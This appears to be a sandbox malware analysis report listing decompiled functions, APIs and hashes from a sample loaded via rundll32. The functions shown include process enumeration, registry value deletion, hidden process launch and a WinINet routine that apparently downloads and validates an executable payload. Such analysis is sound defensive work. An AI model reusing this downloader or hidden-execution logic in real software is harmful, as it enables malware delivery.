0x04a023e9
0x04a023f0
0x04a023f7
0x04a02401
0x04a02407
0x04a02407
0x04a023cf
0x04a02409
0x04a02413
0x04a0241a
0x04a02421
0x04a02426
0x04a0242c
0x04a0242d
0x04a02436
0x04a0243b
0x04a0243c
0x04a0243e
0x04a0244d
0x04a02454
0x04a0245b
0x04a02462
0x04a0246c
0x04a02476
0x04a02476
0x04a02482
0x04a0237f
0x04a02384
0x04a02385
0x04a02387
0x04a02389
0x04a0238b
0x04a0238d
0x04a02391
0x04a023a3
0x04a023a3

APIs

Part of subcall function 04A03AA0: GetFileAttributesW.KERNEL32 ref: 04A03AB5
Part of subcall function 04A03AA0: lstrlenW.KERNEL32 ref: 04A03ACD
Part of subcall function 04A03AA0: lstrlenW.KERNEL32(?), ref: 04A03B7C
Part of subcall function 04A03AA0: CreateDirectoryW.KERNEL32(?,00000000), ref: 04A03BCA
Part of subcall function 04A03AA0: FindFirstFileW.KERNEL32(?,?), ref: 04A03BDF

LocalAlloc.KERNEL32(00000000,00000004), ref: 04A023C5
EnterCriticalSection.KERNEL32(04A16714), ref: 04A023E9
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A02407
GetTickCount.KERNEL32 ref: 04A02409
EnterCriticalSection.KERNEL32(04A16714), ref: 04A02454
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A02476

Part of subcall function 04A03AA0: lstrcmpiW.KERNEL32(00000002,?), ref: 04A03B16
Part of subcall function 04A03AA0: FindNextFileW.KERNEL32(00000010,00000010), ref: 04A03D26
Part of subcall function 04A03AA0: FindClose.KERNEL32(?), ref: 04A03D3D

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CriticalSection$FileFind$EnterLeavelstrlen$AllocAttributesCloseCountCreateDirectoryFirstLocalNextTicklstrcmpi
String ID:
API String ID: 2386738862-0
Opcode ID: eb1dc182af0c88a2e3ab8bd22786a78793f39936d589a79fe0548c27781f2184
Instruction ID: accb7987ec9b9f6f28f01735e6939309aeb5256abcf255314e1299e9132f6657
Opcode Fuzzy Hash: eb1dc182af0c88a2e3ab8bd22786a78793f39936d589a79fe0548c27781f2184
Instruction Fuzzy Hash: AA3124B2604304AFE710DF14E880F5BBBD8EB98714F40816EF944DB281E7B5AC45CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 04A09960 Relevance: 9.1, APIs: 6, Instructions: 61
processCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E04A09960(void* __ecx, char __edx) {
				int _v4;
				short _v528;
				intOrPtr _v556;
				char _v560;
				void* _v564;
				WCHAR* _v568;
				void* _t27;
				void* _t28;
				int _t29;

				_t29 = 0;
				_v560 = __edx;
				_t27 = __ecx;
				_t28 = CreateToolhelp32Snapshot(2, 0);
				if(_t28 != 0xffffffff) {
					_v560 = 0x22c;
					_push( &_v560);
					if(Process32FirstW(_t28) == 0) {
						L8:
						CloseHandle(_t28);
						return _t29;
					} else {
						while(_v556 != _t27) {
							if(Process32NextW(_t28,  &_v564) != 0) {
								continue;
							} else {
								CloseHandle(_t28);
								return _t29;
							}
							goto L9;
						}
						lstrcpynW(_v568,  &_v528, _v4);
						_t29 = 1;
						goto L8;
					}
				} else {
					return 0;
				}
				L9:
			}

0x04a09969
0x04a0996b
0x04a09972
0x04a0997a
0x04a0997f
0x04a09991
0x04a09999
0x04a099a3
0x04a099f2
0x04a099f3
0x04a09a04
0x04a099a5
0x04a099b0
0x04a099c0
0x00000000
0x04a099c2
0x04a099c4
0x04a099d5
0x04a099d5
0x00000000
0x04a099c0
0x04a099e6
0x04a099ec
0x00000000
0x04a099f1
0x04a09983
0x04a0998c
0x04a0998c
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04A09974
Process32FirstW.KERNEL32(00000000,?), ref: 04A0999B
Process32NextW.KERNEL32(00000000,?), ref: 04A099BC
CloseHandle.KERNEL32(00000000), ref: 04A099C4

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 4a56fd4a9df4f416627aa01159a5d08b64e35f709e22fc5981db5ddb954a4ebc
Instruction ID: d75930f53aec5b18c7d5ae4dc73091de5d972ea531b42912b5982ad0c513e460
Opcode Fuzzy Hash: 4a56fd4a9df4f416627aa01159a5d08b64e35f709e22fc5981db5ddb954a4ebc
Instruction Fuzzy Hash: 7311A5712112159FD3209F19FC88AFF779CFB85361F40452AFA14D1190D7BD9E4A8AA2

Uniqueness

Uniqueness Score: -1.00%

Function 04A03480 Relevance: 9.0, APIs: 6, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E04A03480() {
				void* _v4;
				short* _t19;
				short* _t20;

				_t19 =  *0x4a167fc; // 0x4a17d82
				if(RegOpenKeyExW(0x80000001,  *0x4a167f8, 0, 0x20006,  &_v4) != 0) {
					L2:
					_t20 =  *0x4a167fc; // 0x4a17d82
					if(RegOpenKeyExW(0x80000002,  *0x4a167f8, 0, 0x20006,  &_v4) != 0) {
						L5:
						return 0;
					} else {
						RegDeleteValueW(_v4, _t20);
						asm("sbb esi, esi");
						RegCloseKey(_v4);
						if( &(_t20[0]) == 0) {
							goto L5;
						} else {
							goto L4;
						}
					}
				} else {
					RegDeleteValueW(_v4, _t19);
					asm("sbb esi, esi");
					RegCloseKey(_v4);
					if( &(_t19[0]) != 0) {
						L4:
						return 1;
					} else {
						goto L2;
					}
				}
			}

0x04a03482
0x04a034a7
0x04a034c7
0x04a034c7
0x04a034ec
0x04a03514
0x04a03518
0x04a034ee
0x04a034f3
0x04a034ff
0x04a03501
0x04a0350a
0x00000000
0x00000000
0x00000000
0x00000000
0x04a0350a
0x04a034a9
0x04a034ae
0x04a034ba
0x04a034bc
0x04a034c5
0x04a0350c
0x04a03513
0x00000000
0x00000000
0x00000000
0x04a034c5

APIs

RegOpenKeyExW.ADVAPI32(80000001,00000000,00020006,?), ref: 04A0349F
RegDeleteValueW.ADVAPI32(?,04A17D82), ref: 04A034AE
RegCloseKey.ADVAPI32(?), ref: 04A034BC
RegOpenKeyExW.ADVAPI32(80000002,00000000,00020006,?), ref: 04A034E4
RegDeleteValueW.ADVAPI32(?,04A17D82), ref: 04A034F3
RegCloseKey.ADVAPI32(?), ref: 04A03501

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: cd5659a72a8e43eb4d84776a1dff6660bbfdd98e878411629ca0857aca85b015
Instruction ID: d09f9a4937a31015eecdadda6c2e057ef2dae06c3e3cbe8ebee055d1096a454d
Opcode Fuzzy Hash: cd5659a72a8e43eb4d84776a1dff6660bbfdd98e878411629ca0857aca85b015
Instruction Fuzzy Hash: 0D017571500121AFEF314F64FC08F567BA9EB15751F118014FB09E60A0D365AC92AB91

Uniqueness

Uniqueness Score: -1.00%

Function 04A033E0 Relevance: 9.0, APIs: 6, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E04A033E0() {
				void* _v4;
				char* _t19;
				char* _t20;

				_t19 =  *0x4a16bb0; // 0x4a19de4
				if(RegOpenKeyExA(0x80000001,  *0x4a16bac, 0, 0x20006,  &_v4) != 0) {
					L2:
					_t20 =  *0x4a16bb0; // 0x4a19de4
					if(RegOpenKeyExA(0x80000002,  *0x4a16bac, 0, 0x20006,  &_v4) != 0) {
						L5:
						return 0;
					} else {
						RegDeleteValueA(_v4, _t20);
						asm("sbb esi, esi");
						RegCloseKey(_v4);
						if( &(_t20[1]) == 0) {
							goto L5;
						} else {
							goto L4;
						}
					}
				} else {
					RegDeleteValueA(_v4, _t19);
					asm("sbb esi, esi");
					RegCloseKey(_v4);
					if( &(_t19[1]) != 0) {
						L4:
						return 1;
					} else {
						goto L2;
					}
				}
			}

0x04a033e2
0x04a03407
0x04a03427
0x04a03427
0x04a0344c
0x04a03474
0x04a03478
0x04a0344e
0x04a03453
0x04a0345f
0x04a03461
0x04a0346a
0x00000000
0x00000000
0x00000000
0x00000000
0x04a0346a
0x04a03409
0x04a0340e
0x04a0341a
0x04a0341c
0x04a03425
0x04a0346c
0x04a03473
0x00000000
0x00000000
0x00000000
0x04a03425

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,00020006,?), ref: 04A033FF
RegDeleteValueA.ADVAPI32(?,04A19DE4), ref: 04A0340E
RegCloseKey.ADVAPI32(?), ref: 04A0341C
RegOpenKeyExA.ADVAPI32(80000002,00000000,00020006,?), ref: 04A03444
RegDeleteValueA.ADVAPI32(?,04A19DE4), ref: 04A03453
RegCloseKey.ADVAPI32(?), ref: 04A03461

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: c5640467841c9b60b6b065007680d523b72e5d1241d8e4079e4d323982a93ad8
Instruction ID: 6c8559f00b15641e105678653153c1edfc49a31943bd31ee3d2093d9a13ba3e2
Opcode Fuzzy Hash: c5640467841c9b60b6b065007680d523b72e5d1241d8e4079e4d323982a93ad8
Instruction Fuzzy Hash: CC01B132644220BFEF314FA0FC08F667B64FB10B52F008018FA49E60A0D36A9C53EB91

Uniqueness

Uniqueness Score: -1.00%

Function 04A05560 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49
windowCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E04A05560(struct HWND__* __ecx, void* __edx) {
				struct _WINDOWPLACEMENT _v44;
				struct HWND__* _t14;
				void* _t15;
				void* _t16;
				void* _t17;
				long _t18;

				_t14 = __ecx;
				_t15 = __edx;
				if(IsWindow(__ecx) == 0) {
					L5:
					return 0;
				} else {
					_t16 = _t15 - 8;
					if(_t16 == 0) {
						_push(0);
						_push(0xf020);
						goto L11;
					} else {
						_t17 = _t16 - 1;
						if(_t17 == 0) {
							_v44.length = 0x2c;
							if(GetWindowPlacement(_t14,  &_v44) != 0) {
								_push(0);
								if((_v44.flags & 0x00000003) == 0) {
									_push(0xf030);
								} else {
									_push(0xf120);
								}
								L11:
								PostMessageW(_t14, 0x112, ??, ??);
							}
							return 1;
						} else {
							_t18 = _t17 - 0xb;
							if(_t18 == 0) {
								PostMessageW(_t14, 0x112, 0xf060, _t18);
							}
							goto L5;
						}
					}
				}
			}

0x04a05565
0x04a05567
0x04a05572
0x04a05596
0x04a0559c
0x04a05574
0x04a05574
0x04a05577
0x04a055cc
0x04a055ce
0x00000000
0x04a05579
0x04a05579
0x04a0557c
0x04a055a1
0x04a055b3
0x04a055ba
0x04a055bc
0x04a055c5
0x04a055be
0x04a055be
0x04a055be
0x04a055d3
0x04a055d9
0x04a055d9
0x04a055e9
0x04a0557e
0x04a0557e
0x04a05581
0x04a0558f
0x04a0558f
0x00000000
0x04a05581
0x04a0557c
0x04a05577

APIs

IsWindow.USER32(00000000), ref: 04A0556A
PostMessageW.USER32(00000000,00000112,0000F060,?), ref: 04A0558F
GetWindowPlacement.USER32(00000000,?), ref: 04A055AB
PostMessageW.USER32(00000000,00000112,0000F020,00000000), ref: 04A055D9

Strings

,, xrefs: 04A055A1

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: MessagePostWindow$Placement
String ID: ,
API String ID: 2568874510-3772416878
Opcode ID: 04923ad6143e7764fdab4ddc348ccbe258a5c390a44c21e994c34887c4c3a8fd
Instruction ID: 138fe4f89a58d7f86784944d78db4b52c1f5d56f098b427fa6845f82fd180d5b
Opcode Fuzzy Hash: 04923ad6143e7764fdab4ddc348ccbe258a5c390a44c21e994c34887c4c3a8fd
Instruction Fuzzy Hash: E401DB32E403017AE2359629BC4DBBB2E69DF8DB10F048029F904A54C1E6E8FA429952

Uniqueness

Uniqueness Score: -1.00%

Function 10002610 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49
processstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002610(WCHAR* __ecx) {
				short _v1024;
				struct _STARTUPINFOW _v1092;
				struct _PROCESS_INFORMATION _v1108;
				int _t21;
				void* _t22;
				void* _t23;
				int _t28;

				_v1024 = 0;
				lstrcpyW( &_v1024, __ecx);
				E100016A0( &_v1092, 0, 0x44);
				_v1092.cb = 0x44;
				_v1092.dwFlags = 1;
				_v1092.wShowWindow = 0;
				_t21 = CreateProcessW(0,  &_v1024, 0, 0, 0, 0, 0, 0,  &_v1092,  &_v1108);
				_t28 = _t21;
				if(_t28 != 0) {
					_t22 = _v1108.hThread;
					if(_t22 != 0) {
						CloseHandle(_t22);
					}
					_t23 = _v1108.hProcess;
					if(_t23 != 0) {
						CloseHandle(_t23);
					}
					return _t28;
				}
				return _t21;
			}

0x10002619
0x10002624
0x10002633
0x1000263b
0x10002645
0x1000264d
0x1000266f
0x10002675
0x10002679
0x1000267b
0x10002681
0x10002684
0x10002684
0x1000268a
0x10002690
0x10002693
0x10002693
0x00000000
0x10002699
0x100026a2

APIs

lstrcpyW.KERNEL32 ref: 10002624
CreateProcessW.KERNEL32 ref: 1000266F
CloseHandle.KERNEL32(?), ref: 10002684
CloseHandle.KERNEL32(?), ref: 10002693

Strings

D, xrefs: 1000263B

Memory Dump Source

Source File: 00000007.00000002.380451377.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.380446044.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380457810.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380476329.000000001001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CloseHandle$CreateProcesslstrcpy
String ID: D
API String ID: 421361142-2746444292
Opcode ID: b25427e97857df74d12aed335f9af7181e8b7f0f65c39567755606c0580ab479
Instruction ID: 29bb4fda04088ec4a8be0138ea84601cc04652f75ca7bb12c995221b8c61c4e8
Opcode Fuzzy Hash: b25427e97857df74d12aed335f9af7181e8b7f0f65c39567755606c0580ab479
Instruction Fuzzy Hash: F50171B5605710ABF301DFA4CC89B9BB7ECEF44780F004919FA48C7154EB75D8488BA6

Uniqueness

Uniqueness Score: -1.00%

Function 10001D90 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56
stringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E10001D90(CHAR* __ecx, void** __edx, intOrPtr* _a4) {
				char _v100;
				void* _t14;
				signed int _t18;
				void* _t21;
				void** _t23;
				void* _t24;
				intOrPtr* _t25;
				CHAR* _t26;

				_t26 =  &_v100;
				_t23 = __edx;
				_t18 = 0;
				lstrcpyA(_t26, __ecx);
				lstrcatA( &_v100, "26b30163");
				_t25 = _a4;
				_t24 = 0;
				while(_t24 < 0xffffffff) {
					_push(_t25);
					_push(_t23);
					_t18 = E100017A0( &_v100);
					_t26 = _t26 - 8 + 0x10;
					if(_t18 == 0) {
						L5:
						_t14 =  *_t23;
						if(_t14 != 0) {
							VirtualFree(_t14, 0, 0x8000);
						}
						_t24 = _t24 + 1;
						if(_t18 == 0) {
							continue;
						}
					} else {
						_t18 = 0;
						if( *_t25 <= 0x400) {
							goto L5;
						} else {
							_t21 =  *_t23;
							 *_t21 = 0x5a4d;
							_t7 =  *((intOrPtr*)(_t21 +  *((intOrPtr*)(_t21 + 0x3c)))) == 0x4550;
							_t18 = 0 | _t7;
							if(_t7 != 0) {
								goto L5;
							}
						}
					}
					break;
				}
				return _t18;
			}

0x10001d90
0x10001d9c
0x10001d9e
0x10001da0
0x10001db0
0x10001db6
0x10001dba
0x10001dc0
0x10001dc5
0x10001dc6
0x10001dd3
0x10001dd5
0x10001dda
0x10001e00
0x10001e00
0x10001e04
0x10001e0e
0x10001e0e
0x10001e14
0x10001e17
0x00000000
0x00000000
0x10001ddc
0x10001ddc
0x10001de5
0x00000000
0x10001de7
0x10001de7
0x10001dee
0x10001dfb
0x10001dfb
0x10001dfe
0x00000000
0x00000000
0x10001dfe
0x10001de5
0x00000000
0x10001dda
0x10001e22

APIs

lstrcpyA.KERNEL32(?,1001D516), ref: 10001DA0
lstrcatA.KERNEL32(?,26b30163), ref: 10001DB0

Part of subcall function 100017A0: InternetCrackUrlA.WININET ref: 10001824
Part of subcall function 100017A0: InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 1000183C
Part of subcall function 100017A0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 10001865
Part of subcall function 100017A0: HttpOpenRequestA.WININET(00000000,?,00000000,00000000,84000000,00000000), ref: 100018A9
Part of subcall function 100017A0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 100018D6
Part of subcall function 100017A0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 100018E5

VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 10001E0E

Strings

26b30163, xrefs: 10001DA6

Memory Dump Source

Source File: 00000007.00000002.380451377.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.380446044.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380457810.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380476329.000000001001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectCrackFreeOptionSendVirtuallstrcatlstrcpy
String ID: 26b30163
API String ID: 92294919-696971363
Opcode ID: c52af202d81b6e1668a13f99257d4f6b437e9d56dafa93abe6722969dbe94202
Instruction ID: db354c39933914c13c9abe3ce9f5c82a5892acce9a552849763e5c3b857ec521
Opcode Fuzzy Hash: c52af202d81b6e1668a13f99257d4f6b437e9d56dafa93abe6722969dbe94202
Instruction Fuzzy Hash: 21010071200250ABF300EFA5CC88A9BB7ECEB443D9F400539FA10CB186D7749849CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04A07AA0 Relevance: 6.3, APIs: 5, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A07AA0(void* _a4, intOrPtr _a8) {
				void* _t3;
				void* _t4;
				int _t5;
				intOrPtr _t6;

				if( *0x4a1672c == 0) {
					return _t3;
				} else {
					EnterCriticalSection(0x4a16714);
					_t4 = _a4;
					if(_t4 == 0) {
						L6:
						LeaveCriticalSection(0x4a16714);
						return _t4;
					}
					_t6 = _a8;
					if(_t6 == 0) {
						goto L6;
					}
					if(_t6 <= 0x1000) {
						_t4 = LocalFree(_t4);
						goto L6;
					}
					_t5 = VirtualFree(_t4, 0, 0x8000);
					LeaveCriticalSection(0x4a16714);
					return _t5;
				}
			}

0x04a07aa7
0x04a07af8
0x04a07aa9
0x04a07aae
0x04a07ab4
0x04a07aba
0x04a07aed
0x04a07af2
0x00000000
0x04a07af2
0x04a07abc
0x04a07ac2
0x00000000
0x00000000
0x04a07aca
0x04a07ae7
0x00000000
0x04a07ae7
0x04a07ad4
0x04a07adf
0x04a07ae5
0x04a07ae5

APIs

EnterCriticalSection.KERNEL32(04A16714,04A05BF1,?,?), ref: 04A07AAE
VirtualFree.KERNEL32(?,00000000,00008000), ref: 04A07AD4
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A07ADF
LocalFree.KERNEL32(?), ref: 04A07AE7
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A07AF2

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CriticalSection$FreeLeave$EnterLocalVirtual
String ID:
API String ID: 4056463437-0
Opcode ID: 1513622292196a44fe8ac117c74245d768a16e2d207ce51843b860a8d7fd20f5
Instruction ID: fe7c6d89787c11c7ca718cb6142fad5c3cd170c6cd973694a2be2234ab855158
Opcode Fuzzy Hash: 1513622292196a44fe8ac117c74245d768a16e2d207ce51843b860a8d7fd20f5
Instruction Fuzzy Hash: 2DE0ED78B41301AFEE349FA0E82DB5A3754FB64B42F44C419B206E5094DAF8B882CF21

Uniqueness

Uniqueness Score: -1.00%

Function 04A02290 Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A02290(void** _a4, signed int* _a8) {
				signed int _v4;
				void* _t10;
				void* _t13;
				signed int* _t21;
				void* _t23;
				void** _t24;

				_t24 = _a4;
				if(_t24 == 0) {
					return _t10;
				}
				_t21 = _a8;
				if(_t21 != 0) {
					_t10 = GetTickCount();
					_t13 = _t10;
					if(_t13 -  *_t24 > 0x3e8) {
						_v4 = (_t21[1] << 0x00000020 |  *_t21) >> 0x14;
						if( *0x4a1672c != 0) {
							_t10 = LocalAlloc(0, 4);
							_t23 = _t10;
							if(_t23 != 0) {
								 *_t23 = 0;
								_t10 = E04A01000(_t23,  &_v4, 4);
								EnterCriticalSection(0x4a16714);
								 *0x4a165fc = 0xc;
								 *0x4a16601 = 4;
								 *0x4a165fd = _t23;
								LeaveCriticalSection(0x4a16714);
							}
						}
						 *_t24 = _t13;
					}
				}
				return _t10;
			}

0x04a02292
0x04a02298
0x04a02328
0x04a02328
0x04a0229f
0x04a022a5
0x04a022a8
0x04a022ae
0x04a022ba
0x04a022cc
0x04a022d0
0x04a022d6
0x04a022dc
0x04a022e0
0x04a022e8
0x04a022ed
0x04a022fa
0x04a02305
0x04a0230c
0x04a02316
0x04a0231c
0x04a0231c
0x04a022e0
0x04a02322
0x04a02322
0x04a02324
0x00000000

APIs

GetTickCount.KERNEL32 ref: 04A022A8
LocalAlloc.KERNEL32(00000000,00000004), ref: 04A022D6
EnterCriticalSection.KERNEL32(04A16714), ref: 04A022FA
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A0231C

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CriticalSection$AllocCountEnterLeaveLocalTick
String ID:
API String ID: 2001048959-0
Opcode ID: 8383ec153f10ff9b5224cfb8c6febbf9624bdfb4cac11cfe3e0d629204a766e0
Instruction ID: f0714e5414d5f9bd052eff086e15cc9d75eed051a84a75cf0bc3f522790711da
Opcode Fuzzy Hash: 8383ec153f10ff9b5224cfb8c6febbf9624bdfb4cac11cfe3e0d629204a766e0
Instruction Fuzzy Hash: DE0104B26003019FE321CF14E848B2AB7A4EBA8711F10C02DE66597284D7B86C068B63

Uniqueness

Uniqueness Score: -1.00%

Function 04A0A800 Relevance: 6.0, APIs: 4, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E04A0A800(struct HWND__* __ecx, struct tagPOINT* __edx) {
				struct tagPOINT* _t8;
				struct HWND__* _t11;
				struct HWND__* _t12;

				_t8 = __edx;
				_t11 = __ecx;
				ScreenToClient(__ecx, __edx);
				_push(_t8->y);
				_t12 = ChildWindowFromPoint(_t11, _t8->x);
				if(_t12 != 0) {
					while(_t12 != _t11) {
						_t11 = _t12;
						ScreenToClient(_t12, _t8);
						_push(_t8->y);
						_t12 = ChildWindowFromPoint(_t12,  *_t8);
						if(_t12 != 0) {
							continue;
						}
						goto L3;
					}
				}
				L3:
				return _t11;
			}

0x04a0a808
0x04a0a80c
0x04a0a810
0x04a0a812
0x04a0a81e
0x04a0a822
0x04a0a824
0x04a0a82a
0x04a0a82c
0x04a0a82e
0x04a0a83a
0x04a0a83e
0x00000000
0x00000000
0x00000000
0x04a0a83e
0x04a0a824
0x04a0a840
0x04a0a846

APIs

ScreenToClient.USER32 ref: 04A0A810
ChildWindowFromPoint.USER32(00000000,?,?), ref: 04A0A818
ScreenToClient.USER32 ref: 04A0A82C
ChildWindowFromPoint.USER32(00000000,?,?), ref: 04A0A834

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: ChildClientFromPointScreenWindow
String ID:
API String ID: 1042228851-0
Opcode ID: 803c52eda13cbc963101ff316eb146b9edd114ec1d08b3ceb3b784b7083d1da6
Instruction ID: 66223dc411dc398c5fc76fe455d986b259a599ffa5a16c43bc17ec771a9437e0
Opcode Fuzzy Hash: 803c52eda13cbc963101ff316eb146b9edd114ec1d08b3ceb3b784b7083d1da6
Instruction Fuzzy Hash: 51F0A0365025246F4B321B59AC80C3BBA6DDBAA7A130941A1F9009B254CA6ADC0656B1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 3720, Parent PID: 5176COMMON

Executed Functions

Function 00FC3660 Relevance: 70.3, APIs: 32, Strings: 8, Instructions: 285
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E00FC3660(void* __eflags) {
				char _v100;
				char _v116;
				char _v124;
				char _v128;
				intOrPtr _v132;
				char _v136;
				int _v140;
				long _v144;
				int _v148;
				int _v152;
				void* _v156;
				intOrPtr _v160;
				int _v164;
